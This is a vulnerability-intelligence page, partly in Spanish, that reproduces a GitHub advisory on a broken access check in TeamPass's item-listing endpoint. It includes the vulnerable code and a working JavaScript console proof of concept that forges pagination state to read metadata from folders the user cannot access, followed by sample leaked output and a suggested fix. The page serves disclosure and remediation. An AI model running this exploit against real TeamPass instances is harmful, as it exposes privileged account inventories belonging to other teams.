llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · nilsteampassnet/teampass

GHSA-XRJW-R5HX-29RJ

Broken access control in do_items_list_in_folder lets any authenticated user read item metadata from folders they have no access to

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición88 dDesde la divulgación, 24 ago 2026, 12:59 p. m.
Detección86 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
Parche en la próxima ventana y listo, campeón.Para el próximo sprint, sin estrés.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
24 ago 26
19 nov 26
21 nov 26
24 ago 26
15 sept 26
8 oct 26
30 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-XRJW-R5HX-29RJ divulgada · CVSS 6.5 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
TeamPass gates which folders a user can browse through per-role folder ACLs, exposed at runtime as the session list `user-accessible_folders`. While reading through the item-listing code I found that the AJAX action `do_items_list_in_folder` only runs that folder authorization check on the first page of results. When the client asks for any later page (`start >= 1`), the whole first-page block — which is where the check lives — is skipped, and the handler goes straight to querying and returning the items of whatever folder id the caller passed in.

The practical result is a horizontal access-control bypass: any authenticated user, including a read-only account that has access to no folders at all, can walk folder IDs and read the metadata (label, login/username, URL, e-mail, description and item_key) of every non-personal item in the whole instance, regardless of the folder ACLs.

The encrypted password itself is not returned by this query and still requires a per-user `sharekeys_items` entry, so cleartext passwords are not directly disclosed. For a password manager, though, leaking the full inventory of "which privileged account exists on which host, with which username and notes" across every team is a serious confidentiality problem on its own.

### Root cause
In `app/sources/items.queries.php`, case `do_items_list_in_folder`, the authorization check and the authoritative row `counter` are both computed inside the first-page branch, while the item query below runs for every page:

// case 'do_items_list_in_folder'
$inputData['id'] = filter_var($dataReceived['id'], FILTER_SANITIZE_NUMBER_INT);   // client folder id
$post_start      = filter_var($dataReceived['start'], FILTER_SANITIZE_NUMBER_INT); // client page offset
...
if ((int) $start === 0) {                       // <-- the ONLY place the check runs
    ...
    if (!in_array($inputData['id'], $session->get('user-accessible_folders'))) {
        echo prepareExchangedData(['error' => 'not_authorized', ...], 'encode');
        break;                                  // access denied
    } else {
        $counter = DB::queryFirstField('SELECT COUNT(*) ... WHERE ... id_tree = %i', ...);
    }
    ...
} else {                                        // <-- taken for every start > 0
    // pagination state is rehydrated from a client-supplied blob, no check:
    $uniqueLoadData = json_decode(
        filter_var($dataReceived['uniqueLoadData'], FILTER_UNSAFE_RAW), true);
    $counter    = $uniqueLoadData['counter'];
    $showError  = $uniqueLoadData['showError'];
    $accessLevel = $uniqueLoadData['accessLevel'];
    ...
}

// runs for BOTH branches, using the client folder id and client counter:
$where = new WhereClause('and');
$where->add('i.id_tree=%i', $inputData['id']);
if ($counter > 0 && empty($showError)) {
    $rows = DB::query('SELECT i.id, i.item_key, i.label, i.description, i.login,
                       i.url AS link, i.email, ... FROM items i
                       INNER JOIN nested_tree n ON (i.id_tree = n.id)
                       WHERE %l ORDER BY i.label ASC LIMIT '.$start.','.$post_nb, $where);
    foreach ($rows as $record) {
        $html_json[$record['id']]['label'] = strip_tags($record['label']);
        $html_json[$record['id']]['login'] = $record['login'];
        $html_json[$record['id']]['link']  = $record['link'];
        $html_json[$record['id']]['email'] = $record['email'] ?? '';
        ...
    }
}
echo prepareExchangedData(['html_json' => $html_json, ...], 'encode');

Two things combine here:
1. The `in_array($inputData['id'], user-accessible_folders)` gate only exists in the `start === 0` branch, so any `start >= 1` request never hits it.
2. On the `start > 0` path the state that would otherwise stop enumeration (`counter`, `showError`, `accessLevel`) is read back from `uniqueLoadData`, a client-supplied JSON blob decoded with `FILTER_UNSAFE_RAW` and no integrity check, so the caller controls those too.

The per-item `rights`/`display` values computed afterwards only tell the front-end whether to draw a row; the sensitive fields are already in `html_json` and are returned regardless.

### Steps to reproduce
1. Install a clean TeamPass 3.2.1.4.
2. As an administrator, create a folder (e.g. "Secret-Executives") and add a couple of items with recognisable label / login / URL. Then create an ordinary user, `bob`, and do not give him access to that folder (in my test bob had access to no folders at all — the UI even shows "you have access to none of them").
3. Log in as `bob` and open the Items page.
4. In the browser console, run the snippet below. It fires two otherwise-identical requests against the secret folder id — one with `start=0` and one with `start=1` — reusing the app's own `prepareExchangedData()` so the payloads are encrypted exactly like a legitimate request:

(async () => {
  const TARGET = 1; // id of a folder bob cannot access
  const html = document.documentElement.innerHTML;
  const KEY = (html.match(/key:\s*['"]([a-f0-9]{20,})['"]/i) || html.match(/['"]([a-f0-9]{32})['"]/))[1];
  const forged = JSON.stringify({showError:0,accessLevel:30,counter:500,counter_full:500,
    categoriesStructure:[],folderComplexity:0,folder_is_personal:false,folder_is_in_personal:false});
  const send = (start) => new Promise(res => jQuery.post('sources/items.queries.php', {
    type:'do_items_list_in_folder',
    data: prepareExchangedData(JSON.stringify({id:TARGET,restricted:0,start,
          nb_items_to_display_once:500,uniqueLoadData:forged}),'encode',KEY),
    key: KEY
  }, r => { const d = decodeQueryReturn(r,KEY,'items.queries.php','do_items_list_in_folder');
    res({error:d.error, items:Object.values(d.html_json||{}).map(i=>({id:i.item_id,label:i.label,login:i.login,url:i.link}))}); }));
  console.log('start=0 =>', (await send(0)));
  console.log('start=1 =>', (await send(1)));
})();

### Proof of concept — observed result
`bob` has no access to folder id 1. The two requests differ only in `start`:

start=0 => { error: "not_authorized", items: [] }          // check runs, access denied
start=1 => { error: 0, items: [
    { id: 2, label: "Domain Admin",   login: "CORP\\Administrator", url: "https://dc01.corp.local" },
    { id: 3, label: "Stripe API Key", login: "stripe-admin",        url: "https://dashboard.stripe.com" }
] }                                                          // check skipped, metadata leaked

With `start=0` the server correctly returns `not_authorized`; with `start=1` it hands back the items of a folder bob has no rights to. Since the only difference is the `start` value, the bug is clearly the pagination path and not a misconfiguration. (The first item of the folder is missing from the `start=1` result only because the SQL `LIMIT` uses `start` as an OFFSET, so offset 1 skips the alphabetically-first row; it is recoverable by varying the offset.)

### Suggested fix
Move the folder-access check (and the admin bypass) out of the start === 0 branch so it runs on every request:

if ((int) $session->get('user-admin') !== 1
    && !in_array($inputData['id'], $session->get('user-accessible_folders'))) {
    echo prepareExchangedData(['error' => 'not_authorized', 'arborescence' => []], 'encode');
    break;
}

More generally, uniqueLoadData should not be trusted for any security or flow decision — recompute counter / accessLevel server-side on each page, or keep authoritative pagination state in the session keyed to the folder that was actually authorized. Constraining the item query itself to the caller's accessible folders would be a good defence in depth.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
nilsteampassnet/teampass≤ 3.2.1.4
3.2.1.4
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistnilsteampassnet/teampass
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/nilsteampassnet/TeamPass/security/advisories/GHSA-xrjw-r5hx-29rj

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.